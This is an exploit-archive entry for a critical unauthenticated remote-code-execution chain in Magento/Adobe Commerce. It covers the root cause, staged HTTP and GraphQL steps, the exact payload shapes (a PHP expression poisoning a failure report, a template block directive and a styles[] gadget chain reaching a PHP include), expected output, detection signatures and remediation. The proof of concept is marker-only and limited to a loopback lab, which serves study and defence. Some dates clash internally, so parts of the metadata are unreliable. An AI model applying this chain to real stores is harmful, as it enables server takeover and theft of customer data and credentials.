PoC Archive PoC Archive
CVE-2026-75650 category: web CVSS 10 (CRITICAL) KEV EPSS 35%
Patched

Magento StyleSmuggler — Unauthenticated RCE via Email Template Preview (CVE-2026-75650 / VULN-39341)

Published: 2026-11-25 • Researcher: dinosn (Nicolas Krassas) — lab/PoC author; Fortbridge (StyleSmuggler research); Adobe PSIRT (VULN-39341 / APSB26-146)

Target software Adobe Commerce / Magento Open Source (Magento 2 email template and report subsystems)
Affected versions Not enumerated in the supplied CVE data (empty ranges; product listed only as adobe/commerce). The lab reproduces on Magento Open Source 2.4.9 at Git revision 755e34dd689021c5165db9d35ecff74f7dc51527; confirm the exact Commerce edition and version against Adobe bulletin APSB26-146 (see references)
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 35%

Confirmed exploited in the wild. Added to CISA KEV 2026-09-08. Federal remediation deadline 2026-09-11.

EPSS 34.7% · 99th percentile

Severity
Critical
CVE
CVE-2026-75650 (Adobe VULN-39341, APSB26-146)
Category
web
Affected product
Adobe Commerce / Magento Open Source (Magento 2 email template and report subsystems)
Affected versions
Not enumerated in the supplied CVE data (empty ranges; product listed only as adobe/commerce). The lab reproduces on Magento Open Source 2.4.9 at Git revision 755e34dd689021c5165db9d35ecff74f7dc51527; confirm the exact Commerce edition and version against Adobe bulletin APSB26-146 (see references)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-12
Author / Researcherdinosn (Nicolas Krassas) — lab/PoC author; Fortbridge (StyleSmuggler research); Adobe PSIRT (VULN-39341 / APSB26-146)
CVE / AdvisoryCVE-2026-75650 (Adobe VULN-39341, APSB26-146)
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD/CVE record; vector not published in the supplied source data — see references)
StatusPoC
TagsRCE, Magento, Adobe Commerce, template-injection, CWE-94, unauthenticated, GraphQL, PHP-include, error-report-poisoning, StyleSmuggler
RelatedN/A

Affected Target

FieldValue
Software / SystemAdobe Commerce / Magento Open Source (Magento 2 email template and report subsystems)
Versions AffectedNot enumerated in the supplied CVE data (empty ranges; product listed only as adobe/commerce). The lab reproduces on Magento Open Source 2.4.9 at Git revision 755e34dd689021c5165db9d35ecff74f7dc51527; confirm the exact Commerce edition and version against Adobe bulletin APSB26-146 (see references)
Language / PlatformPHP 8.3 / nginx + PHP-FPM; MariaDB 11.4, OpenSearch 2.19, Redis 7 (Docker Compose)
Authentication RequiredNo
Network Access RequiredYes

Summary

Adobe Commerce (Magento) is affected by an improper neutralization of special elements used in a template engine (CWE-94) that can result in arbitrary code execution in the context of the current user. Exploitation does not require user interaction and the scope is changed. The public lab PoC reproduces a complete unauthenticated HTTP chain on stock Magento Open Source 2.4.9: a declined PayPal transparent-response request poisons a Magento failure report with a fixed PHP expression, three guest-cart GraphQL mutations store a recursive template construction in the billing address, and a standard failed-payment email causes the email template engine to build the admin Template Preview block, which reads request parameters and reaches a ColumnSet, UrlGeneratorFactory, AWS S3Client and ArrayScanner include gadget that executes the poisoned report. Success is proved by a fresh SHA-256 digest that only the vulnerable build returns; the digest is never sent to Magento.

Vulnerability Details

Root Cause

Magento’s email template language does not correctly neutralize special elements. A recursive filtering bug in the customer address formatter mistakes an unresolved {{block}} directive for a deliberately deferred instruction and adds the shared per-request SignatureProvider trust marker, so the later failed-payment email filter accepts and renders the attacker-supplied block. That block is Magento’s own admin Template Preview block, which is constructed directly through Layout rather than its admin-only controller, so the admin ACL is never consulted. Preview then reads type, text and styles from the still-live HTTP request and renders a transient email template whose ColumnSet rowUrl argument is passed to UrlGeneratorFactory, which resolves Aws\S3\S3Client and invokes the with_resolved callback ArrayScanner::collectEntities() — an include primitive that loads the first supplied value as a PHP file. The chain is completed by the report subsystem, which records the attacker-controlled request URI into var/report without neutralizing a PHP opening tag.

Attack Vector

Unauthenticated HTTP requests against stock routes, in order: a POST to the PayPal transparent-response endpoint with a PHP expression in the query string (the request fails and Magento writes the URI into var/report, disclosing the 64-hex report ID); GraphQL createEmptyCart and setGuestEmailOnCart; setBillingAddressOnCart with a self-referencing postcode, the stock HTML address format and a nested if/var/block construction in the company field; then handlePayflowProResponse with a declined payload and query parameters type, text and styles (bracket notation) that encode the downstream gadget and the report path. Production-style error handling (MAGE_MODE=production) is required for Stage 1 to persist the report.

Impact

Arbitrary PHP code execution in the context of the PHP-FPM service user on the Magento frontend, from an entirely anonymous request sequence. Because the executed content is request-controlled, this yields web-tier compromise: application secrets and env.php credentials, customer and order data, admin session or user creation, file read/write, and persistent implants. NVD notes scope changed; CISA added the CVE to KEV on 2026-09-08 (EPSS 0.34741 at ingestion).

Environment / Lab Setup

Output
OS:          Linux x86_64 host with Docker + Compose v2 (lab is container-only)
Target:      Magento Open Source 2.4.9, git rev 755e34dd689021c5165db9d35ecff74f7dc51527
             nginx 1.27-alpine on 127.0.0.1:8096, php:8.3-fpm-bookworm, MariaDB 11.4,
             OpenSearch 2.19.0, redis:7-alpine; MAGE_MODE=production via nginx
             fastcgi_param so failure reports persist
Attacker:    Host loopback. poc/http_rce_probe.py refuses every non-loopback target
Tools:       docker, docker compose v2, make, python3 (3.10+), curl
Resources:   ~6 GB free RAM, ~5 GB free disk, outbound network on first build

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
git clone https://github.com/dinosn/cve-2026-75650-magento-validation-lab
cd cve-2026-75650-magento-validation-lab

cp .env.example .env
docker compose up -d --build
docker compose logs -f php        # wait for the Magento install to print Ready
make wait                         # polls /var/www/html/.docker-lab-ready

make ab

Only nginx is published, and only on host loopback (default 127.0.0.1:8096). The first Magento clone, dependency install and application install normally take 15–40 minutes.

Proof of Concept

Step-by-Step Reproduction

  1. Start the disposable lab — make up then make wait; the storefront is reachable only at http://127.0.0.1:8096 and the source volume is the pinned 2.4.9 checkout.

  2. Stage 1 — poison a failure report — a POST to the PayPal transparent-response route with the PHP expression in the query string fails and Magento records the URI into var/report/<64-hex id>:

    Shell script
    1
    2
    
    make vulnerable
    python3 poc/http_rce_probe.py --target http://127.0.0.1:8096 --expect vulnerable
  3. Stage 2a — prepare the guest cart — createEmptyCart, setGuestEmailOnCart, and setBillingAddressOnCart with the recursive construction in company, {{var postcode}} as postcode, and a non-empty city.

  4. Stage 2b — trigger the failed-payment render — POST /graphql?type=2&text=...&styles[...]=... with the ordinary declined handlePayflowProResponse mutation; the address formatter signs the unresolved Preview block, the email filter builds Preview, and the include gadget reads the report path from styles[first].

  5. Verify the execution oracle — the response contains the digest of the random nonce posted as query parameter 0, which the probe computed locally and never sent to Magento.

  6. Confirm the fix blocks it — make http-patched repeats the identical sequence with VULN-39341 applied and requires execution_observed=false.

Exploit Code

See poc/http_rce_probe.py for the loopback-only full HTTP chain, poc/component_probe.php for the direct sink-localization probe, poc/report_storage_probe.php for the inert report-storage control, and docs/TECHNICAL-NOTES.md for the full data flow. Wrappers: scripts/run-http.sh, scripts/run-full-ab.sh, scripts/set-state.sh.

The two decisive request shapes:

Output
1
2
3
4
5
6
7
8
9
REPORT_PAYLOAD = "<?=hash('sha256',$_GET[0])?>"
POST /paypal/transparent/response/?<REPORT_PAYLOAD>   body: RESULT=12&RESPMSG=Declined

TEMPLATE_TEXT = "{{block class=Magento\\Backend\\Block\\Widget\\Grid\\ColumnSet " \
                "rowUrl=$this.template_styles}}"
styles[first]                     = <report path>
styles[generatorClass]            = Aws\S3\S3Client
styles[with_resolved][0][instance] = Magento\Setup\Module\Di\Code\Scanner\ArrayScanner
styles[with_resolved][1]          = collectEntities
PHP
1
2
3
// The included report is executed by ArrayScanner::collectEntities(); the marker
// probe in component_probe.php only writes one nonce-bound file under /tmp.
<?=hash('sha256',$_GET[0])?>

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[*] poisoned report 9f2...e1c (64-hex id disclosed by Magento)
[*] created guest cart <masked>
[*] stored the nested billing-address bridge
[*] execution marker observed
{
  "probe": "marker-only full HTTP code execution",
  "expected_state": "vulnerable",
  "stage1_http_status": 500,
  "stage2_http_status": 200,
  "execution_observed": true,
  "expectation_met": true,
  "marker_operation": "PHP hash('sha256', fresh_nonce)",
  "operator_payload_input": false,
  "command_execution": false,
  "network_callback": false
}

The patched control with the identical request sequence must report execution_observed=false, expectation_met=true; the upstream A/B record also shows the direct component marker going true (unpatched) and false (patched). See VALIDATION.md.

Detection & Indicators of Compromise

  • Query strings or JSON bodies containing PHP opening tags (<?, <?=) or template directives ({{block, {{var, {{if) on report, GraphQL or payment routes.
  • var/report/ files whose content includes a PHP opening tag; report IDs returned in 500 responses followed by an immediate GraphQL guest-cart sequence.
  • A burst of unauthenticated createEmptyCart → setGuestEmailOnCart → setBillingAddressOnCart → handlePayflowProResponse mutations from one client, where the billing company field contains nested template syntax and the postcode is a literal self-reference.
  • GraphQL requests carrying query parameters type, text and styles[...] alongside the Payflow mutation — Preview reads these through getParam().
  • PHP-FPM logs showing Magento\Setup\Module\Di\Code\Scanner\ArrayScanner include attempts, AWS S3 client construction from a frontend GraphQL request, or unexpected include warnings on files under var/report.
  • Worker errors such as “Invalid block type” / layout generation failures right after a payment decline.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-75650 StyleSmuggler Magento report poisoning"; \
  content:"/paypal/transparent/response"; http_uri; \
  content:"<?="; http_uri; sid:9002611;)

alert http any any -> any any (msg:"CVE-2026-75650 Magento template directive in GraphQL body"; \
  content:"{{block"; http_client_body; \
  content:"handlePayflowProResponse"; http_client_body; sid:9002612;)

Remediation

ActionDetail
PatchApply Adobe’s APSB26-146 / VULN-39341 version-matched patch through the supported deployment process (the repo’s patches/ file is path-mapped for the 2.4.9 public monorepo lab and must not be applied to a production Composer install). Then flush caches and confirm the nine control points; patch only fixes forward — it does not remove an existing implant or restore leaked credentials.
WorkaroundDo not leave full-stack error reports writable/readable at the web tier where possible; put WAF/reverse-proxy rules in front of Magento that reject PHP opening tags and template block directives in query strings and JSON bodies, and rate-limit or block the unauthenticated PayPal transparent-response and Payflow mutation paths if unused.
Config HardeningRun production mode, isolate the PHP-FPM user with a hardened read-only code tree and a separate writable var/ path, remove the Aws S3 SDK and Setup ArrayScanner classes from the deployed autoload surface where they are not required, restrict egress, and alert on report writes correlated with GraphQL guest-cart traffic.

References

Notes

Auto-ingested from https://github.com/dinosn/cve-2026-75650-magento-validation-lab on 2026-11-25.

Review verdict: this is a real exploit PoC, not a detector. poc/http_rce_probe.py drives a complete unauthenticated HTTP chain from stock Magento routes to a PHP include sink and proves execution with a fresh SHA-256 oracle, so it was ingested. It is deliberately limited: marker-only by construction (a fixed hash expression, no command runner, downloader, callback, proxy or operator-supplied PHP), loopback-only by enforcement (every non-loopback target is refused), and pinned to Magento Open Source 2.4.9 revision 755e34dd in a disposable Docker stack. validator/validate_patch.py is a read-only control checker and was treated as detector-adjacent, so it was not copied; the same applies to the path-mapped Adobe patch. Status is PoC rather than Weaponized because the archive copy cannot deliver an arbitrary payload as-is — a general payload facility would need to be added to the report expression for real-world impact. Lab-authored material is MIT licensed (Copyright (c) 2026 Nicolas Krassas); upstream Magento and Adobe patch content remains under its own licensing per NOTICE.md. Limitations: the chain depends on the pinned revision’s stock DI state, address HTML format, gateway configuration and production-style error handling, needs roughly 6 GB RAM and 5 GB disk, and a 15–40 minute first-boot install; the upstream evidence is lab-local and not proof about any other edition or extension set. Not executed during archival; run only against disposable systems you own or are authorized to test.